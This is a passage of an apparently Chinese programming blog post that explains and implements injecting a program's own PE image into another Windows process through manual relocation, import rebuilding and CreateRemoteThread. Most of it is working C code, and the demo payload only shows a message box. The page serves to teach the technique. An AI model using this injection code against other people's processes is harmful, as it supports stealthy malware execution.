title="3.将程序自身的映像的的重定位并且写入远程线程"></a>3.将程序自身的映像的的重定位并且写入远程线程</h3><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">RelocCode(lpNewMoudle, lpInjectPoint); WriteProcessMemory(hRemoteProcess, lpInjectPoint, lpNewMoudle, dwImageSize, <span class="literal">NULL</span>);</span><br></pre></td></tr></table></figure><h3 id="4-运行远程线程"><a href="#4-运行远程线程" class="headerlink" title="4.运行远程线程"></a>4.运行远程线程</h3><p>得到ThreadEntry在远程进程中的地址，利用函数在模块中的相对地址+注入点地址 lpRemoteEntryPoint = (LPTHREAD_START_ROUTINE)(lpInjectPoint + (DWORD)fnRemoteThread_Main - lpMoudle); 将插入点地址作为参数传递给线程函数 lpParam = lpInjectPoint; 运行远程线程 hRemoteThread = CreateRemoteThread(hRemoteProcess, NULL, 0, lpRemoteEntryPoint, lpParam, 0, NULL);</p><h3 id="5-远程线程运行的入口函数"><a href="#5-远程线程运行的入口函数" class="headerlink" title="5.远程线程运行的入口函数"></a>5.远程线程运行的入口函数</h3><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//CreateRemoteThread的线程运行入口</span></span><br><span class="line"><span class="function">DWORD <span class="title">ThreadEntry</span><span class="params">(LPBYTE  lpImageBase)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line"><span class="keyword">if</span> (LoadAPI(lpImageBase))<span class="comment">//先完成API函数的导入工作</span></span><br><span class="line">RemoteThread\_Main((HINSTANCE)lpImageBase);  <span class="comment">//执行函数RemoteThread\_Main中的代码</span></span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>先运行LoadAPI函数写入AIT，之后调用自己的编写的fnRemoteThread_Main函数执行自己的操作</p><h3 id="6-其中的重定位及AIT操作"><a href="#6-其中的重定位及AIT操作" class="headerlink" title="6.其中的重定位及AIT操作"></a>6.其中的重定位及AIT操作</h3><h4 id="重定位表"><a href="#重定位表" class="headerlink" title="重定位表"></a>重定位表</h4><p>参考<a href="http://hi.baidu.com/_achillis/item/7e324e08db884b94a2df4313" target="_blank" rel="noopener">http://hi.baidu.com/_achillis/item/7e324e08db884b94a2df4313</a> 重定位表由一个个的重定位块组成，如果重定位表存在的话，必定是至少有一个重定位块。 因为每个块只负责定位0x1000大小范围内的数据，因此如果要定位的数据范围比较大的话， 就会有多个重定位块存在。 每个块的首部是如下定义：</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span> \_<span class="title">IMAGE</span>\_<span class="title">BASE_RELOCATION</span> &#123;</span></span><br><span class="line">    DWORD   VirtualAddress;</span><br><span class="line">    DWORD   SizeOfBlock;</span><br><span class="line">&#125; IMAGE\_BASE\_RELOCATION;</span><br></pre></td></tr></table></figure><p>把内存中需要重定位的数据按页的大小0x1000分为若干个块，而这个VirtualAddress就是每个块的起始RVA.只知道块的RVA当然还不行，我们要知道每一个需要重定位数据的具体地址。 每个需重定位的数据其地址及定位方式用两个字节来表示，记为RelocData，紧跟在IMAGE_BASE_RELOCATION结构之后。</p><h4 id="每个块中重定位信息的个数"><a href="#每个块中重定位信息的个数" class="headerlink" title="每个块中重定位信息的个数"></a>每个块中重定位信息的个数</h4><p>这个可由每个块结构中的Size来确定。Size的值是以DWORD表示的当前整个块的大小，先减去IMAGE_BASE_RELOCATION的大小，因为重定位数据是16位WORD的，再除以2，就得到个重定位数据的个数。</p><h4 id="遍历每个重定位块"><a href="#遍历每个重定位块" class="headerlink" title="遍历每个重定位块"></a>遍历每个重定位块</h4><p>由Size可以直接到达下一个重定位块即当前块地址+Size 某个块首结构的VirtualAddress为0，表明重定位表结束。</p><h4 id="修改每个需重定位的地址"><a href="#修改每个需重定位的地址" class="headerlink" title="修改每个需重定位的地址"></a>修改每个需重定位的地址</h4><p>每个16位重定位信息包括低12位的重定位位置和高4位的重定位类型。要得到重定位的RVA,IMAGE_BASE_RELOCATION’的’VirtualAddress’需要加上12位位置偏移量. 类型可以查询MSDN 以一个重定位数据0x34AC为例，其高四位表明了重定位类型为3,即IMAGE_REL_BASED_HIGHLOW，Win32环境下的重定位基本都是这个类型的。 其低12位则表明了相对于VirtualAddress的RVA偏移量。VirtualAddress即需重定位的数据块的起始RVA，再加上这低12位的值就得到了具体的需要进行重定位处理的数据的RVA。 就是说： 要进行重定位处理的数据的RVA=VirtualAddress+RelocData&amp;0x0FFF 函数如下：</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//完成重定位</span></span><br><span class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">void</span> <span class="title">RelocCode</span><span class="params">(LPBYTE  lpImage, LPBYTE   lpInjectBase)</span> </span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">DWORD  dwRva = <span class="number">0</span>, dwRvaCount = <span class="number">0</span>, dwRelocOffset = <span class="number">0</span>;</span><br><span class="line">LPWORD  lpwOffset = <span class="literal">NULL</span>;</span><br><span class="line">PIMAGE\_NT\_HEADERS pNtHeader = <span class="literal">NULL</span>;</span><br><span class="line">LPBYTE lpRelocTable;</span><br><span class="line">PIMAGE\_BASE\_RELOCATION  pBaseReloc;</span><br><span class="line"></span><br><span class="line"><span class="comment">//获取ntheader</span></span><br><span class="line">pNtHeader = (PIMAGE\_NT\_HEADERS)(lpImage + ((PIMAGE\_DOS\_HEADER)lpImage)-&gt;e_lfanew);</span><br><span class="line"><span class="comment">//获取重定位表位置</span></span><br><span class="line">lpRelocTable = lpImage + pNtHeader-&gt;OptionalHeader.DataDirectory\[<span class="number">5</span>\].VirtualAddress; </span><br><span class="line">pBaseReloc = (PIMAGE\_BASE\_RELOCATION)lpRelocTable;</span><br><span class="line"><span class="comment">//获取重定位表偏移</span></span><br><span class="line">dwRelocOffset = (DWORD)lpInjectBase - pNtHeader-&gt;OptionalHeader.ImageBase; </span><br><span class="line"></span><br><span class="line"><span class="comment">//遍历重定位表，修正需要重定位的代码</span></span><br><span class="line"><span class="keyword">while</span> (pBaseReloc-&gt;VirtualAddress != <span class="literal">NULL</span>)</span><br><span class="line">&#123;</span><br><span class="line">lpwOffset = (WORD*)(lpRelocTable + <span class="keyword">sizeof</span>(IMAGE\_BASE\_RELOCATION));</span><br><span class="line">dwRvaCount = (pBaseReloc-&gt;SizeOfBlock - <span class="keyword">sizeof</span>(IMAGE\_BASE\_RELOCATION)) / <span class="number">2</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">//循环修正</span></span><br><span class="line"><span class="keyword">for</span> (DWORD i = <span class="number">0</span>; i &lt; dwRvaCount; i++)</span><br><span class="line">&#123;</span><br><span class="line"><span class="comment">//获取要修正的RVA</span></span><br><span class="line">dwRva = (DWORD)lpImage + (pBaseReloc-&gt;VirtualAddress) + (DWORD)(*lpwOffset &amp; <span class="number">0x0fff</span>);</span><br><span class="line"><span class="comment">//RVA加上修正量进行修正</span></span><br><span class="line">*(DWORD*)dwRva += dwRelocOffset;</span><br><span class="line">lpwOffset++;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">//指向下一页重定位信息处</span></span><br><span class="line">lpRelocTable += pBaseReloc-&gt;SizeOfBlock;</span><br><span class="line">pBaseReloc = (PIMAGE\_BASE\_RELOCATION)lpRelocTable;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="写入AIT表"><a href="#写入AIT表" class="headerlink" title="写入AIT表"></a>写入AIT表</h3><p>实现如下：</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//用于完成API函数的导入，参数为要插入代码处地址</span></span><br><span class="line"><span class="function">BOOL <span class="title">CInjectCode::LoadAPI</span><span class="params">(LPBYTE lpInjectBase)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">PIMAGE\_DOS\_HEADER pDosHeader = (PIMAGE\_DOS\_HEADER)lpInjectBase;</span><br><span class="line">PIMAGE\_NT\_HEADERS pNtHeader = (PIMAGE\_NT\_HEADERS)(lpInjectBase + pDosHeader-&gt;e_lfanew);</span><br><span class="line">PIMAGE\_IMPORT\_DESCRIPTOR pImportDescriptor = (PIMAGE\_IMPORT\_DESCRIPTOR)</span><br><span class="line">(lpInjectBase + pNtHeader-&gt;OptionalHeader.DataDirectory\[<span class="number">1</span>\].VirtualAddress);</span><br><span class="line"><span class="keyword">for</span> (; pImportDescriptor-&gt;OriginalFirstThunk != <span class="number">0</span>; pImportDescriptor++)<span class="comment">//遍历导入表</span></span><br><span class="line">&#123;</span><br><span class="line">HMODULE hDll = LoadLibraryA((LPCSTR)(lpInjectBase + pImportDescriptor-&gt;Name));</span><br><span class="line"><span class="comment">//上面能直接引用LoadLibrary是由于本地和远程进程中该函数地址都是相同的</span></span><br><span class="line"><span class="keyword">if</span> (hDll == <span class="literal">NULL</span>)</span><br><span class="line"><span class="keyword">return</span> FALSE;</span><br><span class="line">PIMAGE\_THUNK\_DATA Origin = (PIMAGE\_THUNK\_DATA)(lpInjectBase + pImportDescriptor-&gt;OriginalFirstThunk);</span><br><span class="line">PIMAGE\_THUNK\_DATA First = (PIMAGE\_THUNK\_DATA)(lpInjectBase + pImportDescriptor-&gt;FirstThunk);</span><br><span class="line">LPCSTR Name = <span class="literal">NULL</span>;</span><br><span class="line">PIMAGE\_IMPORT\_BY\_NAME Import\_name = <span class="literal">NULL</span>;</span><br><span class="line"><span class="keyword">for</span> (; Origin-&gt;u1.Ordinal != <span class="number">0</span>; Origin++, First++)</span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">if</span> (Origin-&gt;u1.Ordinal &amp; IMAGE\_ORDINAL\_FLAG)</span><br><span class="line">Name = (LPCSTR)IMAGE_ORDINAL(Origin-&gt;u1.Ordinal);</span><br><span class="line"><span class="keyword">else</span></span><br><span class="line">&#123;</span><br><span class="line">Import\_name = (PIMAGE\_IMPORT\_BY\_NAME)(lpInjectBase + (DWORD)(Origin-&gt;u1.AddressOfData));</span><br><span class="line">Name = (LPCSTR)Import_name-&gt;Name;</span><br><span class="line">&#125;</span><br><span class="line">First-&gt;u1.Function = (DWORD)GetProcAddress(hDll, Name);</span><br><span class="line"><span class="comment">//上面能直接引用GetProcAddress是由于本地和远程进程中该函数地址都是相同的</span></span><br><span class="line"><span class="keyword">if</span> (First-&gt;u1.Function == <span class="literal">NULL</span>)</span><br><span class="line"><span class="keyword">return</span> FALSE;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> TRUE;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h1 id="0x03编程实现"><a href="#0x03编程实现" class="headerlink" title="0x03编程实现"></a>0x03编程实现</h1><p>编程的实现，注释的比较详细</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br><span class="line">202</span><br><span class="line">203</span><br><span class="line">204</span><br><span class="line">205</span><br><span class="line">206</span><br><span class="line">207</span><br><span class="line">208</span><br><span class="line">209</span><br><span class="line">210</span><br><span class="line">211</span><br><span class="line">212</span><br><span class="line">213</span><br><span class="line">214</span><br><span class="line">215</span><br><span class="line">216</span><br><span class="line">217</span><br><span class="line">218</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">pragma</span> once</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;tchar.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;windows.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;memory.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="comment">//完成重定位</span></span><br><span class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">void</span> <span class="title">RelocCode</span><span class="params">(LPBYTE  lpImage, LPBYTE   lpInjectBase)</span> </span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">DWORD  dwRva = <span class="number">0</span>, dwRvaCount = <span class="number">0</span>, dwRelocOffset = <span class="number">0</span>;</span><br><span class="line">LPWORD  lpwOffset = <span class="literal">NULL</span>;</span><br><span class="line">PIMAGE\_NT\_HEADERS pNtHeader = <span class="literal">NULL</span>;</span><br><span class="line">LPBYTE lpRelocTable;</span><br><span class="line">PIMAGE\_BASE\_RELOCATION  pBaseReloc;</span><br><span class="line"></span><br><span class="line"><span class="comment">//获取ntheader</span></span><br><span class="line">pNtHeader = (PIMAGE\_NT\_HEADERS)(lpImage + ((PIMAGE\_DOS\_HEADER)lpImage)-&gt;e_lfanew);</span><br><span class="line"><span class="comment">//获取重定位表位置</span></span><br><span class="line">lpRelocTable = lpImage + pNtHeader-&gt;OptionalHeader.DataDirectory\[<span class="number">5</span>\].VirtualAddress; </span><br><span class="line">pBaseReloc = (PIMAGE\_BASE\_RELOCATION)lpRelocTable;</span><br><span class="line"><span class="comment">//获取重定位表偏移</span></span><br><span class="line">dwRelocOffset = (DWORD)lpInjectBase - pNtHeader-&gt;OptionalHeader.ImageBase; </span><br><span class="line"></span><br><span class="line"><span class="comment">//遍历重定位表，修正需要重定位的代码</span></span><br><span class="line"><span class="keyword">while</span> (pBaseReloc-&gt;VirtualAddress != <span class="literal">NULL</span>)</span><br><span class="line">&#123;</span><br><span class="line">lpwOffset = (WORD*)(lpRelocTable + <span class="keyword">sizeof</span>(IMAGE\_BASE\_RELOCATION));</span><br><span class="line">dwRvaCount = (pBaseReloc-&gt;SizeOfBlock - <span class="keyword">sizeof</span>(IMAGE\_BASE\_RELOCATION)) / <span class="number">2</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">//循环修正</span></span><br><span class="line"><span class="keyword">for</span> (DWORD i = <span class="number">0</span>; i &lt; dwRvaCount; i++)</span><br><span class="line">&#123;</span><br><span class="line"><span class="comment">//获取要修正的RVA</span></span><br><span class="line">dwRva = (DWORD)lpImage + (pBaseReloc-&gt;VirtualAddress) + (DWORD)(*lpwOffset &amp; <span class="number">0x0fff</span>);</span><br><span class="line"><span class="comment">//RVA加上修正量进行修正</span></span><br><span class="line">*(DWORD*)dwRva += dwRelocOffset;</span><br><span class="line">lpwOffset++;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">//指向下一页重定位信息处</span></span><br><span class="line">lpRelocTable += pBaseReloc-&gt;SizeOfBlock;</span><br><span class="line">pBaseReloc = (PIMAGE\_BASE\_RELOCATION)lpRelocTable;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">//用于完成API函数的导入，参数为要插入代码处地址</span></span><br><span class="line"><span class="function">BOOL <span class="title">LoadAPI</span><span class="params">(LPBYTE lpInjectBase)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">PIMAGE\_DOS\_HEADER pDosHeader = (PIMAGE\_DOS\_HEADER)lpInjectBase;</span><br><span class="line">PIMAGE\_NT\_HEADERS pNtHeader = (PIMAGE\_NT\_HEADERS)(lpInjectBase + pDosHeader-&gt;e_lfanew);</span><br><span class="line">PIMAGE\_IMPORT\_DESCRIPTOR pImportDescriptor = (PIMAGE\_IMPORT\_DESCRIPTOR)</span><br><span class="line">(lpInjectBase + pNtHeader-&gt;OptionalHeader.DataDirectory\[<span class="number">1</span>\].VirtualAddress);</span><br><span class="line"><span class="keyword">for</span> (; pImportDescriptor-&gt;OriginalFirstThunk != <span class="number">0</span>; pImportDescriptor++)<span class="comment">//遍历导入表</span></span><br><span class="line">&#123;</span><br><span class="line">HMODULE hDll = LoadLibraryA((LPCSTR)(lpInjectBase + pImportDescriptor-&gt;Name));</span><br><span class="line"><span class="comment">//上面能直接引用LoadLibrary是由于本地和远程进程中该函数地址都是相同的</span></span><br><span class="line"><span class="keyword">if</span> (hDll == <span class="literal">NULL</span>)</span><br><span class="line"><span class="keyword">return</span> FALSE;</span><br><span class="line">PIMAGE\_THUNK\_DATA Origin = (PIMAGE\_THUNK\_DATA)(lpInjectBase + pImportDescriptor-&gt;OriginalFirstThunk);</span><br><span class="line">PIMAGE\_THUNK\_DATA First = (PIMAGE\_THUNK\_DATA)(lpInjectBase + pImportDescriptor-&gt;FirstThunk);</span><br><span class="line">LPCSTR Name = <span class="literal">NULL</span>;</span><br><span class="line">PIMAGE\_IMPORT\_BY\_NAME Import\_name = <span class="literal">NULL</span>;</span><br><span class="line"><span class="keyword">for</span> (; Origin-&gt;u1.Ordinal != <span class="number">0</span>; Origin++, First++)</span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">if</span> (Origin-&gt;u1.Ordinal &amp; IMAGE\_ORDINAL\_FLAG)</span><br><span class="line">Name = (LPCSTR)IMAGE_ORDINAL(Origin-&gt;u1.Ordinal);</span><br><span class="line"><span class="keyword">else</span></span><br><span class="line">&#123;</span><br><span class="line">Import\_name = (PIMAGE\_IMPORT\_BY\_NAME)(lpInjectBase + (DWORD)(Origin-&gt;u1.AddressOfData));</span><br><span class="line">Name = (LPCSTR)Import_name-&gt;Name;</span><br><span class="line">&#125;</span><br><span class="line">First-&gt;u1.Function = (DWORD )GetProcAddress(hDll, Name);</span><br><span class="line"><span class="comment">//上面能直接引用GetProcAddress是由于本地和远程进程中该函数地址都是相同的</span></span><br><span class="line"><span class="keyword">if</span> (First-&gt;u1.Function == <span class="literal">NULL</span>)</span><br><span class="line"><span class="keyword">return</span> FALSE;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> TRUE;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">//远程要执行的代码，在这里只演示MessageBox</span></span><br><span class="line"><span class="function">DWORD <span class="title">RemoteThread_Main</span><span class="params">(HINSTANCE hInstance)</span> </span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">::MessageBox(<span class="number">0</span>, \_T(<span class="string">"远程线程插入成功！"</span>), \_T(<span class="string">"远程线程"</span>), <span class="number">0</span>);</span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">//CreateRemoteThread的线程运行入口</span></span><br><span class="line"><span class="function">DWORD <span class="title">ThreadEntry</span><span class="params">(LPBYTE  lpImageBase)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line"><span class="keyword">if</span> (LoadAPI(lpImageBase))<span class="comment">//先完成API函数的导入工作</span></span><br><span class="line">RemoteThread\_Main((HINSTANCE)lpImageBase);  <span class="comment">//执行函数RemoteThread\_Main中的代码</span></span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">//注入</span></span><br><span class="line"><span class="function">BOOL <span class="title">Inject</span><span class="params">(DWORD dwProcessID)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">LPBYTE lpNewMoudle = <span class="literal">NULL</span>;</span><br><span class="line">HANDLE hRemoteProcess = <span class="literal">NULL</span>;</span><br><span class="line">HANDLE hRemoteThread = <span class="literal">NULL</span>;</span><br><span class="line">BOOL bRet=TRUE;</span><br><span class="line"></span><br><span class="line">__try</span><br><span class="line">&#123;</span><br><span class="line"><span class="comment">//获取自身句柄</span></span><br><span class="line">LPBYTE lpMoudle = <span class="literal">NULL</span>;</span><br><span class="line">lpMoudle = (LPBYTE)GetModuleHandle(<span class="literal">NULL</span>);</span><br><span class="line"><span class="keyword">if</span> (lpMoudle == <span class="literal">NULL</span>)</span><br><span class="line">&#123;</span><br><span class="line">OutputDebugString(_T(<span class="string">"GetModuleHandle failedn"</span>));</span><br><span class="line">bRet = FALSE;</span><br><span class="line">__leave;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">//获取NT_HEADER</span></span><br><span class="line">PIMAGE\_NT\_HEADERS pNtHeader = <span class="literal">NULL</span>;</span><br><span class="line">pNtHeader = (PIMAGE\_NT\_HEADERS)(lpMoudle + ((PIMAGE\_DOS\_HEADER)lpMoudle)-&gt;e_lfanew);</span><br><span class="line"></span><br><span class="line"><span class="comment">//得到自身映像大小</span></span><br><span class="line">DWORD dwImageSize;</span><br><span class="line">dwImageSize = pNtHeader-&gt;OptionalHeader.SizeOfImage;</span><br><span class="line"></span><br><span class="line"><span class="comment">//在当前空间申请空间存放自身代码</span></span><br><span class="line">lpNewMoudle = (LPBYTE)VirtualAlloc(<span class="literal">NULL</span>, dwImageSize, MEM\_COMMIT | MEM\_RESERVE,</span><br><span class="line">PAGE\_EXECUTE\_READWRITE);</span><br><span class="line"><span class="keyword">if</span> (lpNewMoudle == <span class="literal">NULL</span>)</span><br><span class="line">&#123;</span><br><span class="line">OutputDebugString(_T(<span class="string">"VirtualAlloc failedn"</span>));</span><br><span class="line">bRet = FALSE;</span><br><span class="line">__leave;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">//拷贝自身到buffer</span></span><br><span class="line">PIMAGE\_NT\_HEADERS pNewNtHeader = <span class="literal">NULL</span>;</span><br><span class="line">memcpy_s(lpNewMoudle, dwImageSize, lpMoudle, dwImageSize);</span><br><span class="line"></span><br><span class="line"><span class="comment">//获取Buffer中NtHeader</span></span><br><span class="line">pNewNtHeader = (PIMAGE\_NT\_HEADERS)(lpNewMoudle + ((PIMAGE\_DOS\_HEADER)lpMoudle)-&gt;e_lfanew);</span><br><span class="line"></span><br><span class="line"><span class="comment">//获取远程进程ID</span></span><br><span class="line">dwProcessID = <span class="number">1516</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">//打开远程进程</span></span><br><span class="line">hRemoteProcess = OpenProcess(PROCESS\_ALL\_ACCESS, FALSE, dwProcessID);</span><br><span class="line"><span class="keyword">if</span> (hRemoteProcess == <span class="literal">NULL</span>)</span><br><span class="line">&#123;</span><br><span class="line">OutputDebugString(_T(<span class="string">"OpenProcess failedn"</span>));</span><br><span class="line">bRet = FALSE;</span><br><span class="line">__leave;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">//在远程进程申请空间</span></span><br><span class="line">LPBYTE lpInjectPoint;</span><br><span class="line">lpInjectPoint = (LPBYTE)VirtualAllocEx(hRemoteProcess, <span class="number">0</span>, dwImageSize, MEM\_COMMIT, PAGE\_EXECUTE_READWRITE);</span><br><span class="line"><span class="keyword">if</span> (lpInjectPoint == <span class="literal">NULL</span>)</span><br><span class="line">&#123;</span><br><span class="line">OutputDebugString(_T(<span class="string">"VirtualAllocEx failedn"</span>));</span><br><span class="line">bRet = FALSE;</span><br><span class="line">__leave;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">//重定位NewMoudle代码</span></span><br><span class="line">RelocCode(lpNewMoudle, lpInjectPoint);</span><br><span class="line"></span><br><span class="line"><span class="comment">//得到ThreadEntry在远程进程中的地址</span></span><br><span class="line">LPTHREAD\_START\_ROUTINE lpRemoteEntryPoint;</span><br><span class="line">LPBYTE lpParam;</span><br><span class="line">lpRemoteEntryPoint = (LPTHREAD\_START\_ROUTINE)(lpInjectPoint + (DWORD)&amp;ThreadEntry - lpMoudle);</span><br><span class="line"></span><br><span class="line"><span 